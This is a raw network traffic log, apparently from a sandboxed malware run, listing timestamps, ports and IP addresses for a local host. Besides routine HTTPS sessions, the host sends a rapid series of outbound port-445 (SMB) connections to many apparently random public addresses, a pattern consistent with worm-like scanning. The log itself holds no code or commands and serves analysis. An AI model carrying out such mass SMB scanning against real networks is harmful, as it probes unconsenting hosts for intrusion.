Jul 20, 2022 15:43:48.163300037 CEST	443	50219	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.163918018 CEST	50219	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.163950920 CEST	443	50219	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.164875031 CEST	50219	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.164887905 CEST	443	50219	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.164931059 CEST	50219	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.164942026 CEST	443	50219	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.176121950 CEST	443	50220	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.176242113 CEST	50220	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.178440094 CEST	443	50220	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.178544044 CEST	50220	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.201147079 CEST	50220	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.201179981 CEST	443	50220	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.202306032 CEST	443	50220	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.203097105 CEST	50220	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.203156948 CEST	50220	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.203280926 CEST	443	50220	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.330362082 CEST	443	50218	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.330425978 CEST	443	50218	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.330480099 CEST	443	50218	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.330554008 CEST	50218	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.330559015 CEST	443	50218	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.330627918 CEST	50218	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.334343910 CEST	50218	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.334393978 CEST	443	50218	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.334414959 CEST	50218	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.334434986 CEST	443	50218	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.342253923 CEST	443	50219	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.342291117 CEST	443	50219	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.342358112 CEST	443	50219	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.342381954 CEST	443	50219	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.342406988 CEST	50219	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.342427969 CEST	50219	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.342432976 CEST	50219	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.354573011 CEST	50219	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.354612112 CEST	443	50219	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.369267941 CEST	443	50220	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.369306087 CEST	443	50220	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.369364023 CEST	443	50220	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.369396925 CEST	443	50220	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.369420052 CEST	50220	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.369453907 CEST	50220	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.369462013 CEST	50220	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.385792971 CEST	50220	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.385845900 CEST	443	50220	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.385867119 CEST	50220	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.385886908 CEST	443	50220	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.457535982 CEST	50223	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.457609892 CEST	443	50223	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.457691908 CEST	50223	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.465536118 CEST	50223	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.465560913 CEST	443	50223	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.465976000 CEST	50224	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.465976954 CEST	50225	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.466034889 CEST	443	50224	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.466037989 CEST	443	50225	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.466125011 CEST	50224	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.466206074 CEST	50225	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.466677904 CEST	50224	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.466703892 CEST	443	50224	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.466792107 CEST	50225	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.466818094 CEST	443	50225	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.508662939 CEST	50227	443	192.168.2.7	20.72.205.209
Jul 20, 2022 15:43:48.508724928 CEST	443	50227	20.72.205.209	192.168.2.7
Jul 20, 2022 15:43:48.508824110 CEST	50227	443	192.168.2.7	20.72.205.209
Jul 20, 2022 15:43:48.512118101 CEST	50227	443	192.168.2.7	20.72.205.209
Jul 20, 2022 15:43:48.512146950 CEST	443	50227	20.72.205.209	192.168.2.7
Jul 20, 2022 15:43:48.537574053 CEST	50209	445	192.168.2.7	177.27.126.89
Jul 20, 2022 15:43:48.602833986 CEST	443	50224	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.604298115 CEST	443	50223	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.604340076 CEST	50229	445	192.168.2.7	33.62.162.245
Jul 20, 2022 15:43:48.607234001 CEST	50224	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.607266903 CEST	443	50224	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.608136892 CEST	50224	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.608154058 CEST	443	50224	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.608180046 CEST	50224	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.608190060 CEST	443	50224	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.608598948 CEST	50223	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.608637094 CEST	443	50223	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.609369993 CEST	50223	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.609385967 CEST	443	50223	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.609414101 CEST	50223	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.609424114 CEST	443	50223	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.610373974 CEST	443	50225	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.610799074 CEST	50225	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.610831022 CEST	443	50225	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.611574888 CEST	50225	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.611599922 CEST	443	50225	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.611633062 CEST	50225	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.611645937 CEST	443	50225	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.632055044 CEST	50230	445	192.168.2.7	213.178.111.122
Jul 20, 2022 15:43:48.632563114 CEST	50231	445	192.168.2.7	23.220.169.250
Jul 20, 2022 15:43:48.633079052 CEST	50232	445	192.168.2.7	55.184.229.103
Jul 20, 2022 15:43:48.667335033 CEST	50233	445	192.168.2.7	146.145.96.45
Jul 20, 2022 15:43:48.667917967 CEST	50234	445	192.168.2.7	36.125.246.98
Jul 20, 2022 15:43:48.668872118 CEST	50235	445	192.168.2.7	218.76.213.83
Jul 20, 2022 15:43:48.669632912 CEST	50236	445	192.168.2.7	35.162.204.84
Jul 20, 2022 15:43:48.670123100 CEST	50237	445	192.168.2.7	62.93.251.190
Jul 20, 2022 15:43:48.670619011 CEST	50238	445	192.168.2.7	99.211.95.109
Jul 20, 2022 15:43:48.671102047 CEST	50239	445	192.168.2.7	207.112.52.243
Jul 20, 2022 15:43:48.671602011 CEST	50240	445	192.168.2.7	63.70.49.200
Jul 20, 2022 15:43:48.672086000 CEST	50241	445	192.168.2.7	6.251.191.224
Jul 20, 2022 15:43:48.672563076 CEST	50242	445	192.168.2.7	139.47.116.90
Jul 20, 2022 15:43:48.673062086 CEST	50243	445	192.168.2.7	85.253.241.40
Jul 20, 2022 15:43:48.772692919 CEST	443	50224	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.772727966 CEST	443	50224	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.772785902 CEST	443	50224	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.772810936 CEST	443	50224	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.772841930 CEST	50224	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.772902966 CEST	50224	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.773417950 CEST	50224	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.773432970 CEST	443	50224	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.773483992 CEST	50224	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.773490906 CEST	443	50224	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.778148890 CEST	443	50225	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.778172016 CEST	443	50225	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.778227091 CEST	443	50225	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.778244019 CEST	443	50225	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.778335094 CEST	50225	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.778378963 CEST	50225	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.788155079 CEST	50225	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.788209915 CEST	443	50225	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.788264036 CEST	50225	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.788281918 CEST	443	50225	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.793967962 CEST	443	50223	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.794007063 CEST	443	50223	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.794063091 CEST	443	50223	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.794097900 CEST	443	50223	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.794156075 CEST	50223	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.794190884 CEST	50223	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.798331976 CEST	50223	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.798378944 CEST	443	50223	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.798432112 CEST	50223	443	192.168.2.7	20.190.159.72
Jul 20, 2022 15:43:48.798449039 CEST	443	50223	20.190.159.72	192.168.2.7
Jul 20, 2022 15:43:48.850888014 CEST	445	50209	177.27.126.89	192.168.2.7
Jul 20, 2022 15:43:49.022813082 CEST	443	50227	20.72.205.209	192.168.2.7
Jul 20, 2022 15:43:49.022933960 CEST	50227	443	192.168.2.7	20.72.205.209
Jul 20, 2022 15:43:49.025814056 CEST	50227	443	192.168.2.7	20.72.205.209
Jul 20, 2022 15:43:49.025854111 CEST	443	50227	20.72.205.209	192.168.2.7
Jul 20, 2022 15:43:49.026324987 CEST	443	50227	20.72.205.209	192.168.2.7
Jul 20, 2022 15:43:49.051839113 CEST	50227	443	192.168.2.7	20.72.205.209
Jul 20, 2022 15:43:49.051964045 CEST	443	50227	20.72.205.209	192.168.2.7
Jul 20, 2022 15:43:49.286201000 CEST	443	50227	20.72.205.209	192.168.2.7
Jul 20, 2022 15:43:49.286282063 CEST	443	50227	20.72.205.209	192.168.2.7
Jul 20, 2022 15:43:49.286375999 CEST	50227	443	192.168.2.7	20.72.205.209
Jul 20, 2022 15:43:49.321639061 CEST	50227	443	192.168.2.7	20.72.205.209
Jul 20, 2022 15:43:49.321667910 CEST	443	50227	20.72.205.209	192.168.2.7
Jul 20, 2022 15:43:49.419841051 CEST	50249	445	192.168.2.7	185.167.207.75
Jul 20, 2022 15:43:49.494359016 CEST	80	49714	209.197.3.8	192.168.2.7
Jul 20, 2022 15:43:49.498104095 CEST	49714	80	192.168.2.7	209.197.3.8
Jul 20, 2022 15:43:49.727591038 CEST	50250	445	192.168.2.7	172.205.154.171
Jul 20, 2022 15:43:49.732147932 CEST	50251	443	192.168.2.7	131.253.33.200
Jul 20, 2022 15:43:49.732194901 CEST	443	50251	131.253.33.200	192.168.2.7
Jul 20, 2022 15:43:49.732307911 CEST	50251	443	192.168.2.7	131.253.33.200
Jul 20, 2022 15:43:49.732400894 CEST	50252	443	192.168.2.7	131.253.33.200
Jul 20, 2022 15:43:49.732439041 CEST	443	50252	131.253.33.200	192.168.2.7
Jul 20, 2022 15:43:49.732506037 CEST	50252	443	192.168.2.7	131.253.33.200
Jul 20, 2022 15:43:49.749716043 CEST	50253	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:43:49.749742031 CEST	443	50253	20.199.120.85	192.168.2.7
Jul 20, 2022 15:43:49.752029896 CEST	50253	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:43:49.754110098 CEST	50253	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:43:49.754122019 CEST	443	50253	20.199.120.85	192.168.2.7
Jul 20, 2022 15:43:49.757852077 CEST	50254	445	192.168.2.7	88.189.29.20
Jul 20, 2022 15:43:49.758160114 CEST	50255	445	192.168.2.7	177.50.107.244
Jul 20, 2022 15:43:49.758188009 CEST	50256	445	192.168.2.7	59.227.122.13
Jul 20, 2022 15:43:49.788611889 CEST	50257	445	192.168.2.7	92.191.124.118
Jul 20, 2022 15:43:49.789745092 CEST	50258	445	192.168.2.7	113.243.56.247
Jul 20, 2022 15:43:49.790322065 CEST	50259	445	192.168.2.7	70.210.1.209
Jul 20, 2022 15:43:49.790847063 CEST	50260	445	192.168.2.7	68.247.239.123
Jul 20, 2022 15:43:49.792151928 CEST	50261	445	192.168.2.7	76.56.54.244
Jul 20, 2022 15:43:49.794296026 CEST	50262	445	192.168.2.7	140.76.72.209
Jul 20, 2022 15:43:49.794998884 CEST	50263	445	192.168.2.7	91.229.127.113
Jul 20, 2022 15:43:49.795703888 CEST	50264	445	192.168.2.7	138.86.29.67
Jul 20, 2022 15:43:49.796400070 CEST	50265	445	192.168.2.7	185.131.144.82
Jul 20, 2022 15:43:49.797101021 CEST	50266	445	192.168.2.7	83.14.139.174
Jul 20, 2022 15:43:49.801939011 CEST	50267	445	192.168.2.7	172.168.134.116
Jul 20, 2022 15:43:49.804538012 CEST	50251	443	192.168.2.7	131.253.33.200
Jul 20, 2022 15:43:49.804560900 CEST	443	50251	131.253.33.200	192.168.2.7
Jul 20, 2022 15:43:49.804652929 CEST	50252	443	192.168.2.7	131.253.33.200
Jul 20, 2022 15:43:49.804670095 CEST	443	50252	131.253.33.200	192.168.2.7
Jul 20, 2022 15:43:49.860688925 CEST	443	50253	20.199.120.85	192.168.2.7
Jul 20, 2022 15:43:49.860775948 CEST	50253	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:43:49.867826939 CEST	50253	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:43:49.867850065 CEST	443	50253	20.199.120.85	192.168.2.7
Jul 20, 2022 15:43:49.868309021 CEST	443	50253	20.199.120.85	192.168.2.7
Jul 20, 2022 15:43:49.876837015 CEST	50253	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:43:49.876887083 CEST	50253	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:43:49.876899004 CEST	443	50253	20.199.120.85	192.168.2.7
Jul 20, 2022 15:43:49.877341986 CEST	50253	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:43:49.892824888 CEST	443	50252	131.253.33.200	192.168.2.7
Jul 20, 2022 15:43:49.893002033 CEST	50252	443	192.168.2.7	131.253.33.200
Jul 20, 2022 15:43:49.894032955 CEST	443	50252	131.253.33.200	192.168.2.7
Jul 20, 2022 15:43:49.894114971 CEST	50252	443	192.168.2.7	131.253.33.200
Jul 20, 2022 15:43:49.897191048 CEST	443	50251	131.253.33.200	192.168.2.7
Jul 20, 2022 15:43:49.898119926 CEST	50251	443	192.168.2.7	131.253.33.200
Jul 20, 2022 15:43:49.898773909 CEST	443	50251	131.253.33.200	192.168.2.7
Jul 20, 2022 15:43:49.899156094 CEST	50251	443	192.168.2.7	131.253.33.200
Jul 20, 2022 15:43:49.908035040 CEST	443	50253	20.199.120.85	192.168.2.7
Jul 20, 2022 15:43:49.908108950 CEST	443	50253	20.199.120.85	192.168.2.7
Jul 20, 2022 15:43:49.908205986 CEST	50253	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:43:49.908668995 CEST	50253	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:43:49.908684969 CEST	443	50253	20.199.120.85	192.168.2.7
Jul 20, 2022 15:43:49.973259926 CEST	50252	443	192.168.2.7	131.253.33.200
Jul 20, 2022 15:43:49.973273039 CEST	443	50252	131.253.33.200	192.168.2.7
Jul 20, 2022 15:43:49.973802090 CEST	443	50252	131.253.33.200	192.168.2.7
Jul 20, 2022 15:43:49.974158049 CEST	50251	443	192.168.2.7	131.253.33.200
Jul 20, 2022 15:43:49.974170923 CEST	443	50251	131.253.33.200	192.168.2.7
Jul 20, 2022 15:43:49.974174023 CEST	50252	443	192.168.2.7	131.253.33.200
Jul 20, 2022 15:43:49.974539995 CEST	443	50251	131.253.33.200	192.168.2.7
Jul 20, 2022 15:43:49.974606991 CEST	50251	443	192.168.2.7	131.253.33.200
Jul 20, 2022 15:43:50.025816917 CEST	50251	443	192.168.2.7	131.253.33.200
Jul 20, 2022 15:43:50.025906086 CEST	443	50251	131.253.33.200	192.168.2.7
Jul 20, 2022 15:43:50.026176929 CEST	50252	443	192.168.2.7	131.253.33.200
Jul 20, 2022 15:43:50.026297092 CEST	443	50252	131.253.33.200	192.168.2.7
Jul 20, 2022 15:43:50.118902922 CEST	443	50251	131.253.33.200	192.168.2.7
Jul 20, 2022 15:43:50.118927956 CEST	443	50251	131.253.33.200	192.168.2.7
Jul 20, 2022 15:43:50.118982077 CEST	443	50251	131.253.33.200	192.168.2.7
Jul 20, 2022 15:43:50.119055033 CEST	50251	443	192.168.2.7	131.253.33.200
Jul 20, 2022 15:43:50.119091034 CEST	50251	443	192.168.2.7	131.253.33.200
Jul 20, 2022 15:43:50.137975931 CEST	50251	443	192.168.2.7	131.253.33.200
Jul 20, 2022 15:43:50.138004065 CEST	443	50251	131.253.33.200	192.168.2.7
Jul 20, 2022 15:43:50.196196079 CEST	443	50252	131.253.33.200	192.168.2.7
Jul 20, 2022 15:43:50.196306944 CEST	443	50252	131.253.33.200	192.168.2.7
Jul 20, 2022 15:43:50.196322918 CEST	50252	443	192.168.2.7	131.253.33.200
Jul 20, 2022 15:43:50.196352959 CEST	50252	443	192.168.2.7	131.253.33.200
Jul 20, 2022 15:43:50.201132059 CEST	50252	443	192.168.2.7	131.253.33.200
Jul 20, 2022 15:43:50.201155901 CEST	443	50252	131.253.33.200	192.168.2.7
Jul 20, 2022 15:43:50.338546038 CEST	50268	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:50.338587046 CEST	443	50268	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:50.338660955 CEST	50268	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:50.339078903 CEST	50269	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:50.339131117 CEST	443	50269	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:50.339253902 CEST	50269	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:50.344094992 CEST	50268	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:50.344115973 CEST	50269	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:50.344124079 CEST	443	50268	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:50.344142914 CEST	443	50269	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:50.441067934 CEST	443	50268	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:50.441165924 CEST	50268	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:50.449065924 CEST	443	50269	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:50.449184895 CEST	50269	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:50.504847050 CEST	50268	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:50.504878044 CEST	443	50268	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:50.505399942 CEST	443	50268	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:50.505469084 CEST	50268	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:50.518395901 CEST	50269	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:50.518436909 CEST	443	50269	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:50.518888950 CEST	443	50269	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:50.518974066 CEST	50269	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:50.520664930 CEST	50268	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:50.520822048 CEST	50269	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:50.538394928 CEST	50270	445	192.168.2.7	201.67.48.83
Jul 20, 2022 15:43:50.564496040 CEST	443	50268	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:50.564502954 CEST	443	50269	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:50.624385118 CEST	443	50268	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:50.624393940 CEST	443	50269	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:50.624423981 CEST	443	50268	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:50.624456882 CEST	443	50269	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:50.624511003 CEST	50268	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:50.624528885 CEST	443	50268	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:50.624541044 CEST	50268	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:50.624541044 CEST	50269	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:50.624564886 CEST	443	50269	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:50.624576092 CEST	443	50268	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:50.624581099 CEST	50269	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:50.624615908 CEST	50268	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:50.624628067 CEST	50269	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:50.624643087 CEST	443	50269	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:50.624681950 CEST	50268	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:50.624730110 CEST	50269	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:50.630078077 CEST	50268	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:50.630103111 CEST	443	50268	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:50.630664110 CEST	50269	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:50.630686998 CEST	443	50269	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:50.863442898 CEST	50271	445	192.168.2.7	160.244.150.122
Jul 20, 2022 15:43:50.882277966 CEST	50272	445	192.168.2.7	138.225.217.204
Jul 20, 2022 15:43:50.883048058 CEST	50273	445	192.168.2.7	40.30.28.0
Jul 20, 2022 15:43:50.883407116 CEST	50274	445	192.168.2.7	160.151.8.178
Jul 20, 2022 15:43:50.919362068 CEST	50275	445	192.168.2.7	34.42.144.23
Jul 20, 2022 15:43:50.919552088 CEST	50276	445	192.168.2.7	11.222.125.34
Jul 20, 2022 15:43:50.919806957 CEST	50277	445	192.168.2.7	47.92.157.226
Jul 20, 2022 15:43:50.919852972 CEST	50278	445	192.168.2.7	109.217.136.79
Jul 20, 2022 15:43:50.919908047 CEST	50279	445	192.168.2.7	24.27.94.62
Jul 20, 2022 15:43:50.919924021 CEST	50280	445	192.168.2.7	215.18.188.244
Jul 20, 2022 15:43:50.919977903 CEST	50281	445	192.168.2.7	123.103.146.162
Jul 20, 2022 15:43:50.919996023 CEST	50282	445	192.168.2.7	30.165.135.197
Jul 20, 2022 15:43:50.920087099 CEST	50284	445	192.168.2.7	202.59.138.224
Jul 20, 2022 15:43:50.920171976 CEST	50283	445	192.168.2.7	100.157.133.17
Jul 20, 2022 15:43:50.932888031 CEST	50285	445	192.168.2.7	165.177.238.237
Jul 20, 2022 15:43:51.431272984 CEST	50286	445	192.168.2.7	115.211.244.129
Jul 20, 2022 15:43:51.689157963 CEST	50287	445	192.168.2.7	107.138.132.207
Jul 20, 2022 15:43:51.976196051 CEST	50288	445	192.168.2.7	28.162.12.234
Jul 20, 2022 15:43:52.008218050 CEST	50289	445	192.168.2.7	32.187.182.115
Jul 20, 2022 15:43:52.008738041 CEST	50290	445	192.168.2.7	42.247.2.57
Jul 20, 2022 15:43:52.009211063 CEST	50291	445	192.168.2.7	109.100.185.18
Jul 20, 2022 15:43:52.038635015 CEST	50292	445	192.168.2.7	198.194.58.43
Jul 20, 2022 15:43:52.055284977 CEST	50293	445	192.168.2.7	137.201.61.158
Jul 20, 2022 15:43:52.057385921 CEST	50294	445	192.168.2.7	188.18.139.115
Jul 20, 2022 15:43:52.058479071 CEST	50296	445	192.168.2.7	220.187.1.94
Jul 20, 2022 15:43:52.058621883 CEST	50295	445	192.168.2.7	207.157.60.40
Jul 20, 2022 15:43:52.058674097 CEST	50297	445	192.168.2.7	208.75.24.161
Jul 20, 2022 15:43:52.058691978 CEST	50299	445	192.168.2.7	57.129.22.94
Jul 20, 2022 15:43:52.058706999 CEST	50298	445	192.168.2.7	198.9.74.40
Jul 20, 2022 15:43:52.058794022 CEST	50300	445	192.168.2.7	154.15.61.248
Jul 20, 2022 15:43:52.058849096 CEST	50301	445	192.168.2.7	48.33.217.167
Jul 20, 2022 15:43:52.058907032 CEST	50302	445	192.168.2.7	13.129.66.205
Jul 20, 2022 15:43:52.139043093 CEST	445	50294	188.18.139.115	192.168.2.7
Jul 20, 2022 15:43:52.139234066 CEST	50294	445	192.168.2.7	188.18.139.115
Jul 20, 2022 15:43:52.139576912 CEST	50294	445	192.168.2.7	188.18.139.115
Jul 20, 2022 15:43:52.140472889 CEST	50303	445	192.168.2.7	188.18.139.1
Jul 20, 2022 15:43:52.221132994 CEST	445	50294	188.18.139.115	192.168.2.7
Jul 20, 2022 15:43:52.229671955 CEST	445	50294	188.18.139.115	192.168.2.7
Jul 20, 2022 15:43:52.229821920 CEST	50294	445	192.168.2.7	188.18.139.115
Jul 20, 2022 15:43:52.555319071 CEST	50304	445	192.168.2.7	216.83.163.65
Jul 20, 2022 15:43:52.805565119 CEST	50305	445	192.168.2.7	175.183.57.239
Jul 20, 2022 15:43:53.101161003 CEST	50306	445	192.168.2.7	100.140.102.141
Jul 20, 2022 15:43:53.123203039 CEST	445	50305	175.183.57.239	192.168.2.7
Jul 20, 2022 15:43:53.134453058 CEST	50307	445	192.168.2.7	103.132.76.215
Jul 20, 2022 15:43:53.135987997 CEST	50308	445	192.168.2.7	36.245.21.36
Jul 20, 2022 15:43:53.136746883 CEST	50309	445	192.168.2.7	3.59.128.249
Jul 20, 2022 15:43:53.148814917 CEST	50310	445	192.168.2.7	59.28.65.108
Jul 20, 2022 15:43:53.181116104 CEST	50311	445	192.168.2.7	125.157.27.74
Jul 20, 2022 15:43:53.182467937 CEST	50312	445	192.168.2.7	103.9.247.99
Jul 20, 2022 15:43:53.183768988 CEST	50313	445	192.168.2.7	169.13.154.152
Jul 20, 2022 15:43:53.185245991 CEST	50314	445	192.168.2.7	38.15.41.88
Jul 20, 2022 15:43:53.187369108 CEST	50315	445	192.168.2.7	142.43.104.156
Jul 20, 2022 15:43:53.188004971 CEST	50316	445	192.168.2.7	84.55.126.211
Jul 20, 2022 15:43:53.188507080 CEST	50317	445	192.168.2.7	89.14.99.155
Jul 20, 2022 15:43:53.189012051 CEST	50318	445	192.168.2.7	181.248.34.90
Jul 20, 2022 15:43:53.189496994 CEST	50319	445	192.168.2.7	26.178.254.99
Jul 20, 2022 15:43:53.194874048 CEST	50320	445	192.168.2.7	188.18.139.2
Jul 20, 2022 15:43:53.319956064 CEST	49714	80	192.168.2.7	209.197.3.8
Jul 20, 2022 15:43:53.337518930 CEST	80	49714	209.197.3.8	192.168.2.7
